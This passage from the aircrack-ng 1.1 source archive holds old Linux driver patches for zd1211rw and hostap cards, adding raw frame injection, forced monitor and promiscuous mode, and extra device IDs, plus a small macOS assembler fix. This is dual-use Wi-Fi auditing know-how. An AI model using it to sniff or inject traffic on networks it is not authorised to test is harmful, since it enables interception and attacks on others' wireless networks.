RTMP_IO_WRITE32(pAdapter, RXCSR0, 0x4e); } else aircrack-ng-1.1/patches/old/zd1211rw_inject_2.6.21-gentoo.patch0000644000000000000000000001364610761053203022415 0ustar rootrootdiff -ur linux-2.6.21-gentoo-orig/drivers/net/wireless/zd1211rw/zd_mac.c linux-2.6.21-gentoo-rawtx/drivers/net/wireless/zd1211rw/zd_mac.c --- linux-2.6.21-gentoo-orig/drivers/net/wireless/zd1211rw/zd_mac.c 2007-04-27 17:23:31.000000000 -0400 +++ linux-2.6.21-gentoo-rawtx/drivers/net/wireless/zd1211rw/zd_mac.c 2007-04-27 18:32:21.000000000 -0400 @@ -201,7 +201,13 @@ goto disable_rx; housekeeping_enable(mac); - ieee80211softmac_start(netdev); + netif_carrier_on(netdev); + ieee80211softmac_start(netdev); + if(!netif_queue_stopped(netdev)) + netif_start_queue(netdev); + else + netif_wake_queue(netdev); + return 0; disable_rx: zd_chip_disable_rx(chip); @@ -834,6 +840,7 @@ struct ieee80211_txb *txb, int frag_num) { + struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); int r; struct sk_buff *skb = txb->fragments[frag_num]; struct ieee80211_hdr_4addr *hdr = @@ -857,7 +864,10 @@ cs->tx_length = cpu_to_le16(frag_len); - cs_set_control(mac, cs, hdr); + if(ieee->iw_mode == IW_MODE_MONITOR) + cs->control = ZD_CS_MULTICAST; + else + cs_set_control(mac, cs, hdr); packet_length = frag_len + sizeof(struct zd_ctrlset) + 10; ZD_ASSERT(packet_length <= 0xffff); @@ -913,7 +923,11 @@ ieee->stats.tx_dropped++; return r; } - r = zd_usb_tx(&mac->chip.usb, skb->data, skb->len); + + if(ieee->iw_mode == IW_MODE_MONITOR) + r = zd_usb_tx_inject(&mac->chip.usb, skb->data, skb->len); + else + r = zd_usb_tx(&mac->chip.usb, skb->data, skb->len); if (r) { ieee->stats.tx_dropped++; return r; @@ -933,6 +947,8 @@ u8 rt_rate; u16 rt_channel; u16 rt_chbitmask; + u8 rt_antsignal; + u8 rt_antnoise; } __attribute__((packed)); static void fill_rt_header(void *buffer, struct zd_mac *mac, @@ -946,7 +962,9 @@ hdr->rt_hdr.it_len = cpu_to_le16(sizeof(struct zd_rt_hdr)); hdr->rt_hdr.it_present = cpu_to_le32((1 << IEEE80211_RADIOTAP_FLAGS) | (1 << IEEE80211_RADIOTAP_CHANNEL) | - (1 << IEEE80211_RADIOTAP_RATE)); + (1 << IEEE80211_RADIOTAP_RATE) | + (1 << IEEE80211_RADIOTAP_DBM_ANTSIGNAL) | + (1 << IEEE80211_RADIOTAP_DBM_ANTNOISE)); hdr->rt_flags = 0; if (status->decryption_type & (ZD_RX_WEP64|ZD_RX_WEP128|ZD_RX_WEP256)) @@ -960,6 +978,9 @@ hdr->rt_chbitmask = cpu_to_le16(IEEE80211_CHAN_2GHZ | ((status->frame_status & ZD_RX_FRAME_MODULATION_MASK) == ZD_RX_OFDM ? IEEE80211_CHAN_OFDM : IEEE80211_CHAN_CCK)); + + hdr->rt_antsignal = status->signal_strength; + hdr->rt_antnoise = stats->noise; } /* Returns 1 if the data packet is for us and 0 otherwise. */ @@ -1066,7 +1087,8 @@ const struct rx_status *status; *pstatus = status = zd_tail(buffer, length, sizeof(struct rx_status)); - if (status->frame_status & ZD_RX_ERROR) { + if (status->frame_status & ZD_RX_ERROR + || status->frame_status & ~0x21) { struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); ieee->stats.rx_errors++; if (status->frame_status & ZD_RX_TIMEOUT_ERROR) diff -ur linux-2.6.21-gentoo-orig/drivers/net/wireless/zd1211rw/zd_usb.c linux-2.6.21-gentoo-rawtx/drivers/net/wireless/zd1211rw/zd_usb.c --- linux-2.6.21-gentoo-orig/drivers/net/wireless/zd1211rw/zd_usb.c 2007-04-27 17:23:31.000000000 -0400 +++ linux-2.6.21-gentoo-rawtx/drivers/net/wireless/zd1211rw/zd_usb.c 2007-04-27 17:59:07.000000000 -0400 @@ -63,6 +63,7 @@ { USB_DEVICE(0x13b1, 0x0024), .driver_info = DEVICE_ZD1211B }, { USB_DEVICE(0x0586, 0x340f), .driver_info = DEVICE_ZD1211B }, { USB_DEVICE(0x0baf, 0x0121), .driver_info = DEVICE_ZD1211B }, + { USB_DEVICE(0x083a, 0x4505), .driver_info = DEVICE_ZD1211B }, /* "Driverless" devices that need ejecting */ { USB_DEVICE(0x0ace, 0x2011), .driver_info = DEVICE_INSTALLER }, {} @@ -773,6 +774,46 @@ return r; } +/* Puts the frame on the USB endpoint. It doesn't wait for + * completion. The frame must contain the control set. + */ +int zd_usb_tx_inject(struct zd_usb *usb, const u8 *frame, unsigned int length) +{ + int r; + struct usb_device *udev = zd_usb_to_usbdev(usb); + struct urb *urb; + void *buffer; + + urb = usb_alloc_urb(0, GFP_ATOMIC); + if (!urb) { + r = -ENOMEM; + goto out; + } + + buffer = usb_buffer_alloc(zd_usb_to_usbdev(usb), length, GFP_ATOMIC, + &urb->transfer_dma); + if (!buffer) { + r = -ENOMEM; + goto error_free_urb; + } + memcpy(buffer, frame, length); + + usb_fill_bulk_urb(urb, udev, usb_sndbulkpipe(udev, EP_DATA_OUT), + buffer, length, tx_urb_complete, NULL); + + r = usb_submit_urb(urb, GFP_ATOMIC); + if (r) + goto error; + return 0; +error: + usb_buffer_free(zd_usb_to_usbdev(usb), length, buffer, + urb->transfer_dma); +error_free_urb: + usb_free_urb(urb); +out: + return r; +} + static inline void init_usb_interrupt(struct zd_usb *usb) { struct zd_usb_interrupt *intr = &usb->intr; diff -ur linux-2.6.21-gentoo-orig/drivers/net/wireless/zd1211rw/zd_usb.h linux-2.6.21-gentoo-rawtx/drivers/net/wireless/zd1211rw/zd_usb.h --- linux-2.6.21-gentoo-orig/drivers/net/wireless/zd1211rw/zd_usb.h 2007-04-27 17:23:31.000000000 -0400 +++ linux-2.6.21-gentoo-rawtx/drivers/net/wireless/zd1211rw/zd_usb.h 2007-04-27 18:01:02.000000000 -0400 @@ -221,6 +221,7 @@ void zd_usb_disable_rx(struct zd_usb *usb); int zd_usb_tx(struct zd_usb *usb, const u8 *frame, unsigned int length); +int zd_usb_tx_inject(struct zd_usb *usb, const u8 *frame, unsigned int length); int zd_usb_ioread16v(struct zd_usb *usb, u16 *values, const zd_addr_t *addresses, unsigned int count); aircrack-ng-1.1/patches/old/aicrack-ng-rc2_Intel_macOSX.patch0000644000000000000000000000043111231661020022476 0ustar rootrootIndex: sha1-sse2.S =================================================================== --- sha1-sse2.S (revision 1470) +++ sha1-sse2.S (working copy) @@ -21,7 +21,7 @@ .globl _shasse2_cpuid; .data -.align(16) +.align(12) const_init_a: .long 0x67452301 .long 0x67452301 aircrack-ng-1.1/patches/old/hostap-driver-0.4.5.patch0000644000000000000000000004453310761053203020717 0ustar rootrootdiff -ur ../hostap-driver-0.4.5/driver/etc/hostap_cs.conf ./driver/etc/hostap_cs.conf --- ../hostap-driver-0.4.5/driver/etc/hostap_cs.conf 2005-05-23 18:01:03.000000000 +0200 +++ ./driver/etc/hostap_cs.conf 2005-11-21 13:49:16.000000000 +0100 @@ -102,17 +102,17 @@ card "Level-One WPC-0100" version "Digital Data Communications", "WPC-0100", "Version 00.00" - manfid 0x0156, 0x0002 +# manfid 0x0156, 0x0002 bind "hostap_cs" card "Belkin 802.11b WLAN PCMCIA" version "Belkin", "11Mbps Wireless Notebook Network Adapter", "Version 01.02" - manfid 0x0156, 0x0002 +# manfid 0x0156, 0x0002 bind "hostap_cs" card "Senao SL-2011CD/SL-2011CDPLUS" version "INTERSIL", "HFA384x/IEEE", "Version 01.02" - manfid 0x0156, 0x0002 +# manfid 0x0156, 0x0002 bind "hostap_cs" card "Fulbond Airbond XI-300B" diff -ur ../hostap-driver-0.4.5/driver/modules/hostap_80211_tx.c ./driver/modules/hostap_80211_tx.c --- ../hostap-driver-0.4.5/driver/modules/hostap_80211_tx.c 2005-08-06 19:55:14.000000000 +0200 +++ ./driver/modules/hostap_80211_tx.c 2005-11-21 13:49:16.000000000 +0100 @@ -51,6 +51,9 @@ int to_assoc_ap = 0; struct hostap_skb_tx_data *meta; + if (local->iw_mode == IW_MODE_MONITOR) + goto xmit; + if (skb->len < ETH_HLEN) { printk(KERN_DEBUG "%s: hostap_data_start_xmit: short skb " "(len=%d)\n", dev->name, skb->len); @@ -216,6 +219,7 @@ memcpy(skb_put(skb, ETH_ALEN), &hdr.addr4, ETH_ALEN); } +xmit: iface->stats.tx_packets++; iface->stats.tx_bytes += skb->len; @@ -377,8 +381,6 @@ } if (skb->len < 24) { - printk(KERN_DEBUG "%s: hostap_master_start_xmit: short skb " - "(len=%d)\n", dev->name, skb->len); ret = 0; iface->stats.tx_dropped++; goto fail; diff -ur ../hostap-driver-0.4.5/driver/modules/hostap.c ./driver/modules/hostap.c --- ../hostap-driver-0.4.5/driver/modules/hostap.c 2005-08-06 19:47:10.000000000 +0200 +++ ./driver/modules/hostap.c 2005-11-21 13:49:16.000000000 +0100 @@ -407,7 +407,7 @@ if (local->iw_mode == IW_MODE_REPEAT) return HFA384X_PORTTYPE_WDS; if (local->iw_mode == IW_MODE_MONITOR) - return HFA384X_PORTTYPE_PSEUDO_IBSS; + return 5; /*HFA384X_PORTTYPE_PSEUDO_IBSS;*/ return HFA384X_PORTTYPE_HOSTAP; } diff -ur ../hostap-driver-0.4.5/driver/modules/hostap_config.h ./driver/modules/hostap_config.h --- ../hostap-driver-0.4.5/driver/modules/hostap_config.h 2005-09-26 03:42:30.000000000 +0200 +++ ./driver/modules/hostap_config.h 2005-11-21 13:49:16.000000000 +0100 @@ -59,7 +59,7 @@ * In addition, please note that it is possible to kill your card with * non-volatile download if you are using incorrect image. This feature has not * been fully tested, so please be careful with it. */ -/* #define PRISM2_NON_VOLATILE_DOWNLOAD */ +#define PRISM2_NON_VOLATILE_DOWNLOAD #endif /* PRISM2_DOWNLOAD_SUPPORT */ /* Include wireless extensions sub-ioctl support even if wireless extensions diff -ur ../hostap-driver-0.4.5/driver/modules/hostap_cs.c ./driver/modules/hostap_cs.c --- ../hostap-driver-0.4.5/driver/modules/hostap_cs.c 2005-09-18 05:51:09.000000000 +0200 +++ ./driver/modules/hostap_cs.c 2005-11-21 16:23:02.000000000 +0100 @@ -929,51 +929,97 @@ #if LINUX_VERSION_CODE > KERNEL_VERSION(2,5,67) #if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,13)) static struct pcmcia_device_id hostap_cs_ids[] = { - PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7100), - PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7300), - PCMCIA_DEVICE_MANF_CARD(0x0101, 0x0777), - PCMCIA_DEVICE_MANF_CARD(0x0126, 0x8000), - PCMCIA_DEVICE_MANF_CARD(0x0138, 0x0002), - PCMCIA_DEVICE_MANF_CARD(0x0156, 0x0002), - PCMCIA_DEVICE_MANF_CARD(0x0250, 0x0002), - PCMCIA_DEVICE_MANF_CARD(0x0274, 0x1612), - PCMCIA_DEVICE_MANF_CARD(0x0274, 0x1613), - PCMCIA_DEVICE_MANF_CARD(0x028a, 0x0002), - PCMCIA_DEVICE_MANF_CARD(0x02aa, 0x0002), - PCMCIA_DEVICE_MANF_CARD(0x02d2, 0x0001), - PCMCIA_DEVICE_MANF_CARD(0x50c2, 0x0001), - PCMCIA_DEVICE_MANF_CARD(0x50c2, 0x7300), - PCMCIA_DEVICE_MANF_CARD(0xc00f, 0x0000), - PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0002), - PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0005), - PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0010), - PCMCIA_MFC_DEVICE_PROD_ID12(0, "SanDisk", "ConnectPlus", - 0x7a954bd9, 0x74be00c6), - PCMCIA_DEVICE_PROD_ID1234( - "Intersil", "PRISM 2_5 PCMCIA ADAPTER", "ISL37300P", - "Eval-RevA", - 0x4b801a17, 0x6345a0bf, 0xc9049a39, 0xc23adc0e), - PCMCIA_DEVICE_PROD_ID123( - "Addtron", "AWP-100 Wireless PCMCIA", "Version 01.02", - 0xe6ec52ce, 0x08649af2, 0x4b74baa0), - PCMCIA_DEVICE_PROD_ID123( - "D", "Link DWL-650 11Mbps WLAN Card", "Version 01.02", - 0x71b18589, 0xb6f1b0ab, 0x4b74baa0), - PCMCIA_DEVICE_PROD_ID123( - "Instant Wireless ", " Network PC CARD", "Version 01.02", - 0x11d901af, 0x6e9bd926, 0x4b74baa0), - PCMCIA_DEVICE_PROD_ID123( - "SMC", "SMC2632W", "Version 01.02", - 0xc4f8b18b, 0x474a1f2a, 0x4b74baa0), - PCMCIA_DEVICE_PROD_ID12("Compaq", "WL200_11Mbps_Wireless_PCI_Card", - 0x54f7c49c, 0x15a75e5b), - PCMCIA_DEVICE_PROD_ID12("INTERSIL", "HFA384x/IEEE", - 0x74c5e40d, 0xdb472a18), - PCMCIA_DEVICE_PROD_ID12("Linksys", "Wireless CompactFlash Card", - 0x0733cc81, 0x0c52f395), - PCMCIA_DEVICE_PROD_ID12( - "ZoomAir 11Mbps High", "Rate wireless Networking", - 0x273fe3db, 0x32a1eaee), + PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7100), // SonicWALL Long Range Wireless Card + PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7110), // D-Link DWL-650 rev P 802.11b WLAN card + PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7300), // Sohoware NCP110, Philips 802.11b +// PCMCIA_DEVICE_MANF_CARD(0x0089, 0x0001), // Intel PRO/Wireless 2011 (Symbol24) + PCMCIA_DEVICE_MANF_CARD(0x0089, 0x0002), // AnyPoint(TM) Wireless II PC Card + PCMCIA_DEVICE_MANF_CARD(0x0101, 0x0777), // 3Com AirConnect PCI 777A + PCMCIA_DEVICE_MANF_CARD(0x0126, 0x8000), // PROXIM RangeLAN-DS/LAN PC CARD + PCMCIA_DEVICE_MANF_CARD(0x0138, 0x0002), // Compaq WL100 11 Mbps Wireless Adapter +// PCMCIA_DEVICE_MANF_CARD(0x0156, 0x0002), // Mostly Lucent Orinoco (HermesI), but also some Prism2 :( +// PCMCIA_DEVICE_MANF_CARD(0x016b, 0x0001), // Ericsson WLAN Card C11 (Symbol24) +// PCMCIA_DEVICE_MANF_CARD(0x01eb, 0x080a), // Nortel eMobility 802.11 Wireless Adapter (Symbol24) + PCMCIA_DEVICE_MANF_CARD(0x01ff, 0x0008), // Intermec MobileLAN 11Mbps 802.11b WLAN Card + PCMCIA_DEVICE_MANF_CARD(0x0250, 0x0002), // Samsung SWL2000-N 11Mb/s WLAN Card +// PCMCIA_DEVICE_MANF_CARD(0x0261, 0x0002), // AirWay 802.11 Adapter (HermesI) +// PCMCIA_DEVICE_MANF_CARD(0x0268, 0x0001), // ARtem Onair (HermesI) +// PCMCIA_DEVICE_MANF_CARD(0x026c, 0x0001), // Symbol Technologies LA4111 (Symbol24) + PCMCIA_DEVICE_MANF_CARD(0x026f, 0x0305), // Buffalo WLI-PCM-S11 + PCMCIA_DEVICE_MANF_CARD(0x0274, 0x1612), // Linksys WPC11 Version 2.5 + PCMCIA_DEVICE_MANF_CARD(0x0274, 0x1613), // Linksys WPC11 Version 3 + PCMCIA_DEVICE_MANF_CARD(0x028a, 0x0002), // Compaq HNW-100 11 Mbps Wireless Adapter + PCMCIA_DEVICE_MANF_CARD(0x028a, 0x0673), // Linksys WCF12 11Mbps 802.11b WLAN Card (Prism 3) + PCMCIA_DEVICE_MANF_CARD(0x02aa, 0x0002), // ASUS SpaceLink WL-100 + PCMCIA_DEVICE_MANF_CARD(0x02ac, 0x0002), // SpeedStream SS1021 Wireless Adapter + PCMCIA_DEVICE_MANF_CARD(0x02ac, 0x3021), // SpeedStream SS1021 Wireless Adapter (newer) + PCMCIA_DEVICE_MANF_CARD(0x02d2, 0x0001), // Microsoft Wireless Notebook Adapter MN-520 + PCMCIA_DEVICE_MANF_CARD(0x14ea, 0xb001), // PLANEX RoadLannerWave GW-NS11H + PCMCIA_DEVICE_MANF_CARD(0x1668, 0x0101), // ActionTec 802CI2/HCW01170-01 + PCMCIA_DEVICE_MANF_CARD(0x50c2, 0x0001), // Airvast ? + PCMCIA_DEVICE_MANF_CARD(0x50c2, 0x7300), // Airvast WN-100 + PCMCIA_DEVICE_MANF_CARD(0x9005, 0x0021), // Adaptec Ultra Wireless ANW-8030 + PCMCIA_DEVICE_MANF_CARD(0xc001, 0x0008), // CONTEC FLEXSCAN/FX-DDS110-PCC + PCMCIA_DEVICE_MANF_CARD(0xc00f, 0x0000), // Corega KK Wireless LAN PCC-11 + PCMCIA_DEVICE_MANF_CARD(0xc250, 0x0002), // Conceptronic CON11Cpro, EMTAC A2424i + PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0002), // Safeway 802.11b, ZCOMAX AirRunner/XI-300 + PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0005), // D-Link DCF660, ZCOMAX XI-325HP 200mw + PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0010), // SMC2532W-B V2 + + PCMCIA_MFC_DEVICE_PROD_ID12(0, "SanDisk", "ConnectPlus", 0x7a954bd9, 0x74be00c6), + PCMCIA_DEVICE_PROD_ID12(" ", "IEEE 802.11 Wireless LAN/PC Card", 0x3b6e20c8, 0xefccafe9), +// PCMCIA_DEVICE_PROD_ID12("3Com", "3CRWE737A AirConnect Wireless LAN PC Card", 0x41240e5b, 0x56010af3), // Symbol24 + PCMCIA_DEVICE_PROD_ID12("ACTIONTEC", "PRISM Wireless LAN PC Card", 0x393089da, 0xa71e69d5), + PCMCIA_DEVICE_PROD_ID123("Addtron", "AWP-100 Wireless PCMCIA", "Version 01.02", 0xe6ec52ce, 0x08649af2, 0x4b74baa0), + PCMCIA_DEVICE_PROD_ID123("AIRVAST", "IEEE 802.11b Wireless PCMCIA Card", "HFA3863", 0xea569531, 0x4bcb9645, 0x355cb092), + PCMCIA_DEVICE_PROD_ID12("Allied Telesyn", "AT-WCL452 Wireless PCMCIA Radio", 0x5cd01705, 0x4271660f), + PCMCIA_DEVICE_PROD_ID12("ASUS", "802_11b_PC_CARD_25", 0x78fc06ee, 0xdb9aa842), + PCMCIA_DEVICE_PROD_ID12("ASUS", "802_11B_CF_CARD_25", 0x78fc06ee, 0x45a50c1e), +// PCMCIA_DEVICE_PROD_ID12("Avaya Communication", "Avaya Wireless PC Card", 0xd8a43b78, 0x0d341169), // HermesI + PCMCIA_DEVICE_PROD_ID12("BENQ", "AWL100 PCMCIA ADAPTER", 0x35dadc74, 0x01f7fedb), +// PCMCIA_DEVICE_PROD_ID12("BUFFALO", "WLI-PCM-L11G", 0x2decece3, 0xf57ca4b3), // HermesI + PCMCIA_DEVICE_PROD_ID12("BUFFALO", "WLI-CF-S11G", 0x2decece3, 0x82067c18), +// PCMCIA_DEVICE_PROD_ID12("Cabletron", "RoamAbout 802.11 DS", 0x32d445f5, 0xedeffd90), // HermesI + PCMCIA_DEVICE_PROD_ID12("Compaq", "WL200_11Mbps_Wireless_PCI_Card", 0x54f7c49c, 0x15a75e5b), + PCMCIA_DEVICE_PROD_ID123("corega", "WL PCCL-11", "ISL37300P", 0x0a21501a, 0x59868926, 0xc9049a39), + PCMCIA_DEVICE_PROD_ID12("corega K.K.", "Wireless LAN PCC-11", 0x5261440f, 0xa6405584), + PCMCIA_DEVICE_PROD_ID12("corega K.K.", "Wireless LAN PCCA-11", 0x5261440f, 0xdf6115f9), + PCMCIA_DEVICE_PROD_ID12("D", "Link DRC-650 11Mbps WLAN Card", 0x71b18589, 0xf144e3ac), + PCMCIA_DEVICE_PROD_ID123("D", "Link DWL-650 11Mbps WLAN Card", "Version 01.02", 0x71b18589, 0xb6f1b0ab, 0x4b74baa0), +// PCMCIA_DEVICE_PROD_ID12("D-Link Corporation", "D-Link DWL-650H 11Mbps WLAN Adapter", 0xef544d24, 0xcd8ea916), // Symbol24 + PCMCIA_DEVICE_PROD_ID12("Digital Data Communications", "WPC-0100", 0xfdd73470, 0xe0b6f146), +// PCMCIA_DEVICE_PROD_ID12("ELSA", "AirLancer MC-11", 0x4507a33a, 0xef54f0e3), // HermesI + PCMCIA_DEVICE_PROD_ID12("HyperLink", "Wireless PC Card 11Mbps", 0x56cc3f1a, 0x0bcf220c), + PCMCIA_DEVICE_PROD_ID123("Instant Wireless ", " Network PC CARD", "Version 01.02", 0x11d901af, 0x6e9bd926, 0x4b74baa0), +// PCMCIA_DEVICE_PROD_ID12("Intel", "PRO/Wireless 2011 LAN PC Card", 0x816cc815, 0x07f58077), // HermesI + PCMCIA_DEVICE_PROD_ID12("INTERSIL", "HFA384x/IEEE", 0x74c5e40d, 0xdb472a18), + PCMCIA_DEVICE_PROD_ID12("INTERSIL", "I-GATE 11M PC Card / PC Card plus", 0x74c5e40d, 0x8304ff77), + PCMCIA_DEVICE_PROD_ID1234("Intersil", "PRISM 2_5 PCMCIA ADAPTER", "ISL37300P", "Eval-RevA", 0x4b801a17, 0x6345a0bf, 0xc9049a39, 0xc23adc0e), + PCMCIA_DEVICE_PROD_ID123("Intersil", "PRISM Freedom PCMCIA Adapter", "ISL37100P", 0x4b801a17, 0xf222ec2d, 0x630d52b2), + PCMCIA_DEVICE_PROD_ID12("INTERSIL", "HFA384x/IEEE", 0x74c5e40d, 0xdb472a18), + PCMCIA_DEVICE_PROD_ID12("LeArtery", "SYNCBYAIR 11Mbps Wireless LAN PC Card", 0x7e3b326a, 0x49893e92), + PCMCIA_DEVICE_PROD_ID12("Linksys", "Wireless CompactFlash Card", 0x0733cc81, 0x0c52f395), +// PCMCIA_DEVICE_PROD_ID12("Lucent Technologies", "WaveLAN/IEEE", 0x23eb9949, 0xc562e72a), // HermesI +// PCMCIA_DEVICE_PROD_ID12("MELCO", "WLI-PCM-L11", 0x481e0094, 0x7360e410), // HermesI +// PCMCIA_DEVICE_PROD_ID12("MELCO", "WLI-PCM-L11G", 0x481e0094, 0xf57ca4b3), // HermesI + PCMCIA_DEVICE_PROD_ID12("Microsoft", "Wireless Notebook Adapter MN-520", 0x5961bf85, 0x6eec8c01), +// PCMCIA_DEVICE_PROD_ID12("NCR", "WaveLAN/IEEE", 0x24358cd4, 0xc562e72a), // HermesI + PCMCIA_DEVICE_PROD_ID12("NETGEAR MA401 Wireless PC", "Card", 0xa37434e9, 0x9762e8f1), + PCMCIA_DEVICE_PROD_ID12("NETGEAR MA401RA Wireless PC", "Card", 0x0306467f, 0x9762e8f1), +// PCMCIA_DEVICE_PROD_ID12("Nortel Networks", "emobility 802.11 Wireless LAN PC Card", 0x2d617ea0, 0x88cd5767), // Symbol24 + PCMCIA_DEVICE_PROD_ID12("OEM", "PRISM2 IEEE 802.11 PC-Card", 0xfea54c90, 0x48f2bdd6), + PCMCIA_DEVICE_PROD_ID12("OTC", "Wireless AirEZY 2411-PCC WLAN Card", 0x4ac44287, 0x235a6bed), + PCMCIA_DEVICE_PROD_ID123("PCMCIA", "11M WLAN Card v2.5", "ISL37300P", 0x281f1c5d, 0x6e440487, 0xc9049a39), + PCMCIA_DEVICE_PROD_ID12("PLANEX", "GeoWave/GW-CF110", 0x209f40ab, 0xd9715264), + PCMCIA_DEVICE_PROD_ID12("PLANEX", "GeoWave/GW-NS110", 0x209f40ab, 0x46263178), + PCMCIA_DEVICE_PROD_ID12("PROXIM", "LAN PC CARD HARMONY 80211B", 0xc6536a5e, 0x090c3cd9), + PCMCIA_DEVICE_PROD_ID12("PROXIM", "LAN PCI CARD HARMONY 80211B", 0xc6536a5e, 0x9f494e26), + PCMCIA_DEVICE_PROD_ID12("SAMSUNG", "11Mbps WLAN Card", 0x43d74cb4, 0x579bd91b), +// PCMCIA_DEVICE_PROD_ID1("Symbol Technologies", 0x3f02b4d6), // Symbol24 +// PCMCIA_DEVICE_PROD_ID12("Symbol Technologies", "LA4111 Spectrum24 Wireless LAN PC Card", 0x3f02b4d6, 0x3663cb0e), // Symbol24 + PCMCIA_DEVICE_PROD_ID123("SMC", "SMC2632W", "Version 01.02", 0xc4f8b18b, 0x474a1f2a, 0x4b74baa0), + PCMCIA_DEVICE_PROD_ID123("The Linksys Group, Inc.", "Instant Wireless Network PC Card", "ISL37300P", 0xa5f472c2, 0x590eb502, 0xc9049a39), + PCMCIA_DEVICE_PROD_ID12("ZoomAir 11Mbps High", "Rate wireless Networking", 0x273fe3db, 0x32a1eaee), PCMCIA_DEVICE_NULL }; MODULE_DEVICE_TABLE(pcmcia, hostap_cs_ids); diff -ur ../hostap-driver-0.4.5/driver/modules/hostap_hw.c ./driver/modules/hostap_hw.c --- ../hostap-driver-0.4.5/driver/modules/hostap_hw.c 2005-08-20 18:32:34.000000000 +0200 +++ ./driver/modules/hostap_hw.c 2005-11-21 13:49:16.000000000 +0100 @@ -1005,6 +1005,35 @@ return fid; } +static int prism2_monitor_enable(struct net_device *dev) +{ + if (hostap_set_word(dev, HFA384X_RID_CNFPORTTYPE, 5)) { + printk(KERN_DEBUG "Port type setting for monitor mode " + "failed\n"); + return -EOPNOTSUPP; + } + + if (hfa384x_cmd(dev, HFA384X_CMDCODE_TEST | (0x0a << 8), + 0, NULL, NULL)) { + printk(KERN_DEBUG "Could not enter testmode 0x0a\n"); + return -EOPNOTSUPP; + } + + if (hostap_set_word(dev, HFA384X_RID_CNFWEPFLAGS, + HFA384X_WEPFLAGS_PRIVACYINVOKED | + HFA384X_WEPFLAGS_HOSTENCRYPT | + HFA384X_WEPFLAGS_HOSTDECRYPT)) { + printk(KERN_DEBUG "WEP flags setting failed\n"); + return -EOPNOTSUPP; + } + + if (hostap_set_word(dev, HFA384X_RID_PROMISCUOUSMODE, 1)) { + printk(KERN_DEBUG "Could not set promiscuous mode\n"); + return -EOPNOTSUPP; + } + + return 0; +} static int prism2_reset_port(struct net_device *dev) { @@ -1028,6 +1057,10 @@ "port\n", dev->name); } + if (local->iw_mode == IW_MODE_MONITOR) + /* force mode 0x0a after port 0 reset */ + return prism2_monitor_enable(dev); + /* It looks like at least some STA firmware versions reset * fragmentation threshold back to 2346 after enable command. Restore * the configured value, if it differs from this default. */ @@ -1444,6 +1477,10 @@ return 1; } + if (local->iw_mode == IW_MODE_MONITOR) + /* force mode 0x0a after port 0 reset */ + prism2_monitor_enable(dev); + local->hw_ready = 1; local->hw_reset_tries = 0; local->hw_resetting = 0; @@ -3260,6 +3297,7 @@ local->func->hw_config = prism2_hw_config; local->func->hw_reset = prism2_hw_reset; local->func->hw_shutdown = prism2_hw_shutdown; + local->func->monitor_enable = prism2_monitor_enable; local->func->reset_port = prism2_reset_port; local->func->schedule_reset = prism2_schedule_reset; #ifdef PRISM2_DOWNLOAD_SUPPORT diff -ur ../hostap-driver-0.4.5/driver/modules/hostap_ioctl.c ./driver/modules/hostap_ioctl.c --- ../hostap-driver-0.4.5/driver/modules/hostap_ioctl.c 2005-09-19 03:51:47.000000000 +0200 +++ ./driver/modules/hostap_ioctl.c 2005-11-21 13:49:16.000000000 +0100 @@ -1068,33 +1068,7 @@ printk(KERN_DEBUG "Enabling monitor mode\n"); hostap_monitor_set_type(local); - - if (hostap_set_word(dev, HFA384X_RID_CNFPORTTYPE, - HFA384X_PORTTYPE_PSEUDO_IBSS)) { - printk(KERN_DEBUG "Port type setting for monitor mode " - "failed\n"); - return -EOPNOTSUPP; - } - - /* Host decrypt is needed to get the IV and ICV fields; - * however, monitor mode seems to remove WEP flag from frame - * control field */ - if (hostap_set_word(dev, HFA384X_RID_CNFWEPFLAGS, - HFA384X_WEPFLAGS_HOSTENCRYPT | - HFA384X_WEPFLAGS_HOSTDECRYPT)) { - printk(KERN_DEBUG "WEP flags setting failed\n"); - return -EOPNOTSUPP; - } - - if (local->func->reset_port(dev) || - local->func->cmd(dev, HFA384X_CMDCODE_TEST | - (HFA384X_TEST_MONITOR << 8), - 0, NULL, NULL)) { - printk(KERN_DEBUG "Setting monitor mode failed\n"); - return -EOPNOTSUPP; - } - - return 0; + return local->func->reset_port(dev); } @@ -1160,7 +1134,7 @@ local->iw_mode = *mode; if (local->iw_mode == IW_MODE_MONITOR) - hostap_monitor_mode_enable(local); + return hostap_monitor_mode_enable(local); else if (local->iw_mode == IW_MODE_MASTER && !local->host_encrypt && !local->fw_encrypt_ok) { printk(KERN_DEBUG "%s: defaulting to host-based encryption as " diff -ur ../hostap-driver-0.4.5/driver/modules/hostap_pci.c ./driver/modules/hostap_pci.c --- ../hostap-driver-0.4.5/driver/modules/hostap_pci.c 2005-09-17 23:05:08.000000000 +0200 +++ ./driver/modules/hostap_pci.c 2005-11-21 13:56:48.000000000 +0100 @@ -48,6 +48,8 @@ { 0x1260, 0x3873, PCI_ANY_ID, PCI_ANY_ID }, /* Samsung MagicLAN SWL-2210P */ { 0x167d, 0xa000, PCI_ANY_ID, PCI_ANY_ID }, + /* NETGEAR MA311 */ + { 0x1385, 0x3872, PCI_ANY_ID, PCI_ANY_ID }, { 0 } }; diff -ur ../hostap-driver-0.4.5/driver/modules/hostap_plx.c ./driver/modules/hostap_plx.c --- ../hostap-driver-0.4.5/driver/modules/hostap_plx.c 2005-09-17 23:05:08.000000000 +0200 +++ ./driver/modules/hostap_plx.c 2005-11-21 16:24:11.000000000 +0100 @@ -98,6 +98,7 @@ { 0xc250, 0x0002 } /* EMTAC A2424i */, { 0xd601, 0x0002 } /* Z-Com XI300 */, { 0xd601, 0x0005 } /* Zcomax XI-325H 200mW */, + { 0xd601, 0x0010 } /* Zcomax XI-325H 100mW */, { 0, 0} }; diff -ur ../hostap-driver-0.4.5/driver/modules/hostap_wlan.h ./driver/modules/hostap_wlan.h --- ../hostap-driver-0.4.5/driver/modules/hostap_wlan.h 2005-08-06 19:55:14.000000000 +0200 +++ ./driver/modules/hostap_wlan.h 2005-11-21 